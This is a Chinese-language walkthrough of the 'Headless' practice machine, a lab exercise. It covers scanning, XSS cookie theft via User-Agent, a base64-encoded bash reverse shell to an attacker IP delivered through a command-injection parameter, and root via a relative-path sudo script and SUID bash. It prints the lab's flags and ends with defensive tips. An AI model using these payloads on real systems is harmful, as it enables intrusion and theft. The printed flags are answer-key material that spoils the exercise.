[Meachines][Easy]Headless
字数 1109 2025-08-19 12:42:24

Headless 靶机渗透测试教学文档

靶机概述

Headless 是一个基于 Web 应用程序漏洞的渗透测试靶机,主要涉及 XSS 攻击、RCE(远程代码执行)和权限提升等技术点。靶机 IP 为 10.10.11.8。

信息收集阶段

初始扫描

使用 Nmap 进行初始端口扫描:

nmap -sC -sV 10.10.11.8 --min-rate 1000

目录扫描

发现目标运行在 5000 端口,使用 Gobuster 进行目录扫描:

gobuster dir -u "http://10.10.11.8:5000" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

扫描结果发现 /dashboard 目录。

漏洞利用阶段

XSS 攻击

  1. 发现目标网站有一个留言板功能
  2. 尝试在 User-Agent 字段注入 JavaScript 语句
  3. 构造 XSS payload 用于窃取管理员 cookie:

  1. 使用 Burp Suite 重放请求,等待管理员中招

获取访问权限

  1. 使用窃取的 cookie 访问仪表盘:http://10.10.11.8:5000/dashboard
  2. 发现存在 RCE(远程代码执行)漏洞

远程代码执行

  1. 构造反向 shell payload 并进行 base64 编码:
echo "bash -i >& /dev/tcp/10.10.14.25/10032 0>&1" | base64

结果为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg==

  1. 通过 RCE 漏洞执行以下命令(注意 + 号需要进行 URL 编码):
date=;echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg==|base64%20-d>/tmp/shell.sh;chmod%20777%20/tmp/shell.sh;ls%20-al%20/tmp/shell.sh;echo%20'cat%20/tmp/shell.sh
  1. 执行 shell 脚本:
date=;/bin/bash%20/tmp/shell.sh
  1. 获取用户 flag:
cat /home/dvir/user.txt

结果为:e2576236e9f7ebc8b857de1f2c10fe63

权限提升阶段

检查 sudo 权限

sudo -l

分析 syscheck 程序

strings /usr/bin/syscheck

发现程序会调用 ./initdb.sh 脚本

漏洞利用

  1. 关键点:./initdb.sh 使用的是相对路径
  2. 在 app 目录下创建恶意 initdb.sh:
echo '/bin/bash'>initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck

成功获取 root 权限

  1. 获取 root flag:
cat /root/root.txt

结果为:927acc092719872f616c53b4a0e910a9

替代提权方法(海外大牛方案)

  1. 创建 initdb.sh 给 /bin/bash 设置 SUID:
echo "chmod u+s /bin/bash" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
/bin/bash -p
  1. 这样任何用户都可以使用特权模式运行 bash:
/bin/bash -c -p "whoami"

技术要点总结

  1. XSS 攻击:通过 User-Agent 注入 JavaScript 窃取 cookie
  2. RCE 漏洞:通过参数注入实现远程代码执行
  3. 权限提升:利用相对路径漏洞和 sudo 权限执行恶意脚本
  4. SUID 提权:通过给 /bin/bash 设置 SUID 实现持久性提权

防御建议

  1. 对用户输入进行严格过滤,防止 XSS 攻击
  2. 避免在 Web 应用中直接执行系统命令
  3. 使用绝对路径调用脚本
  4. 遵循最小权限原则,限制 sudo 权限
  5. 定期检查系统上的 SUID/SGID 文件
Headless 靶机渗透测试教学文档 靶机概述 Headless 是一个基于 Web 应用程序漏洞的渗透测试靶机,主要涉及 XSS 攻击、RCE(远程代码执行)和权限提升等技术点。靶机 IP 为 10.10.11.8。 信息收集阶段 初始扫描 使用 Nmap 进行初始端口扫描: 目录扫描 发现目标运行在 5000 端口,使用 Gobuster 进行目录扫描: 扫描结果发现 /dashboard 目录。 漏洞利用阶段 XSS 攻击 发现目标网站有一个留言板功能 尝试在 User-Agent 字段注入 JavaScript 语句 构造 XSS payload 用于窃取管理员 cookie: 使用 Burp Suite 重放请求,等待管理员中招 获取访问权限 使用窃取的 cookie 访问仪表盘: http://10.10.11.8:5000/dashboard 发现存在 RCE(远程代码执行)漏洞 远程代码执行 构造反向 shell payload 并进行 base64 编码: 结果为: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg== 通过 RCE 漏洞执行以下命令(注意 + 号需要进行 URL 编码): 执行 shell 脚本: 获取用户 flag: 结果为: e2576236e9f7ebc8b857de1f2c10fe63 权限提升阶段 检查 sudo 权限 分析 syscheck 程序 发现程序会调用 ./initdb.sh 脚本 漏洞利用 关键点: ./initdb.sh 使用的是相对路径 在 app 目录下创建恶意 initdb.sh: 成功获取 root 权限 获取 root flag: 结果为: 927acc092719872f616c53b4a0e910a9 替代提权方法(海外大牛方案) 创建 initdb.sh 给 /bin/bash 设置 SUID: 这样任何用户都可以使用特权模式运行 bash: 技术要点总结 XSS 攻击 :通过 User-Agent 注入 JavaScript 窃取 cookie RCE 漏洞 :通过参数注入实现远程代码执行 权限提升 :利用相对路径漏洞和 sudo 权限执行恶意脚本 SUID 提权 :通过给 /bin/bash 设置 SUID 实现持久性提权 防御建议 对用户输入进行严格过滤,防止 XSS 攻击 避免在 Web 应用中直接执行系统命令 使用绝对路径调用脚本 遵循最小权限原则,限制 sudo 权限 定期检查系统上的 SUID/SGID 文件